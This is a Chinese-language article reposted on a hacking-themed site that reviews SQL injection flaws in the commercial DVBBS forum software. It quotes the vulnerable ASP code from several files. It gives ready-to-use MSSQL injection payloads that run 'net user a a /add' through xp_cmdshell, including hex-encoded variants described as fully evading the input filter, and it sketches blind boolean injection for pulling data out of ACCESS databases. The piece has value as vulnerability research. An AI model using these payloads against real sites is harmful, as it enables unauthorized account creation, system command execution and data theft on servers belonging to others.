-
您的位置:首页 → 网络冲浪 → 黑客天空 → DVBBS漏洞和注入技巧
DVBBS漏洞和注入技巧
时间:2004/10/8 16:38:00来源:本站整理作者:蓝点我要评论(0)
-
版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
内容:
捏脸的超人@2003.6.16
这几天抽空把手头上的商业版dvBBS看了一下,嗯,差不多都快看完第一遍了,下面是r开头到最后的几个文件的检测情况。这一段时间黄汤灌得很多,说不定会看走了眼,呵呵。
◆recycle.asp
if instr(request("tablename"),"bbs")>0 then
sql="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&request("tablename")&" where locktopic=2 and not parentid=0 order by announceid desc"
tablename中只要包含"bbs"就可以为所欲为了,不过前提是你是论坛的master……有用吗?不知道,也许你在其他地方注入比较困难的时候,试着把自己提升为master后到这里来注入比较好,基本上没有什么长度或者字符上的约束。
◆reg.asp
set rs=conn.execute("select top 1 userid,face from [user] order by userid desc")
... ...
facename=rs(1)
... ...
facename=split(facename,"/")
... ...
newfilename="uploadFace/"&userid&"_"&facename(ubound(facename))
... ...
conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)
和MyModify.asp一样的问题,利用起来有些困难,但是确实是存在的。更加细节的地方请参看前面的《动网的洞——again!》。
◆saveannounce.asp
if request.form("upfilerename")<>"" then
ihaveupfile=1
upfileinfo=replace(request.form("upfilerename"),"'","")
upfileinfo=replace(upfileinfo,";","")
upfileinfo=replace(upfileinfo,"--","")
upfilelen=len(upfileinfo)
upfileinfo=left(upfileinfo,upfilelen-1)
else
ihaveupfile=0
end if
... ...
if ihaveupfile=1 then conn.execute("update dv_upfile set F_AnnounceID='"&rootid&"│"&AnnounceID&"',F_Readme='"&Topic&"' where F_ID in ("&upfileinfo&")")
这是《dvBBS的另一类漏洞》的商业版问题,如果是配置得不好的MSSQL,试试看upfileinfo为这个的情况
1) declare @a sysname select @a=char(110)+char(101)+char(116)+char(32)+char(117)+char(115)+char(101)+char(114)+char(32)+char(97)+char(32)+char(97)+char(32)+char(47)+char(97)+char(100)+char(100) exec master.dbo.xp_cmdshell @a select (1
或者(中文版MSSQL2000下面测试通过的)
1)
declare @a sysname
select @a=0x6e006500740020007500730065007200200061002000610020002f00610064006400
exec master.dbo.xp_cmdshell @a
select (1
或者更加极端的
1)
declare @a sysname
declare @b sysname
select @a=0x6e006500740020007500730065007200200061002000610020002f00610064006400
select @b=0x6d00610073007400650072002e002e00780070005f0063006d0064007300680065006c006c00
exec @b @a
select (1
这个是执行net user a a /add,后面一种方法可以完全逃过过滤。如果是ACCESS,那么请用构造畸形条件的方法猜数据库的内容。
◆savereannounce.asp
同上!
◆savevote.asp
同上!还有这个:
votetype=Checkstr(request.Form("votetype"))
... ...
conn.execute("insert into vote (vote,votenum,votetype,timeout) values ('"&vote&"','"&votenum&"',"&votetype&",'"&votetimeout&"')")
其中CheckStr是这样写的
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"'","''")
end function
呵呵,这个漏洞很典型吧?
好了好了,就这些了,连同以前的那些漏洞,单个文件中存在的问题大约就是这些了吧?呵呵,可能还有其它的看漏掉了。下面要找的该是复合了几个文件的漏洞,不过这段时间我不会去做,毕业临近,每天黄黄白白的要喝不少,睡觉都占了一天的一半时间,哪有空呢……还要养精蓄锐,准备要赔给兄弟和MM们的眼泪,哇靠……
对了,反正都说了很多无关紧要的话,不如再废话一些。老是有人问我ACCESS的怎么利用,我觉得PsKey的大作中写得很清楚了,自己去看,OK?关于ACCESS中注入能够做些什么,我想是可以这样去理解:至少你可以构造畸形的条件来猜测并且准确获知表的构造和全部内容。用and来作为连接条件吧!这样的逻辑表达式会干净利落地回答你是或者否,如果是自动化,你可以把猜测的时间复杂度降到NlogN而不是N^2:
.. and x=(select xxx from xxx where right(left(xxx,N),1) between char(a) and char(b))
这个只适用于头脑发晕或者是灵感耗尽的时候,如果六位的数据你猜到前面四位是qazw或者是七位的数据你猜到前面是mrzh等等诸如此类,还要去下大包围的话,真是代表碳水化合物输给硅了!做程序的话倒可以用用,不过话又说回来,这种有限状态自动机写来干什么呢?自动化的结果是智力的游戏变成了时间的游戏,所以我最讨厌蠕虫了!
哎呀,都不知道写到哪里去了。写多了,不,喝多了,呵呵……
相关阅读
Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
-
热门文章
黑客大战直播网址 黑客
最新文章
黑客大战直播网址 黑客什么是木马,什么是木马
计算机病毒是指什么什么是木马,什么是木马病毒黑客破解密码常用的方法告诉你黑客的Google搜索技巧
人气排行
如何攻击局域网电脑无线网络密码破解教程(破解无线路由WEP加密网站获得系统权限攻击教程流光破解ftp密码教程计算机病毒是指什么黑客破解密码常用的方法如何命令行/DOS下列出进程名与进程文件路径2010黑客工具
查看所有0条评论>>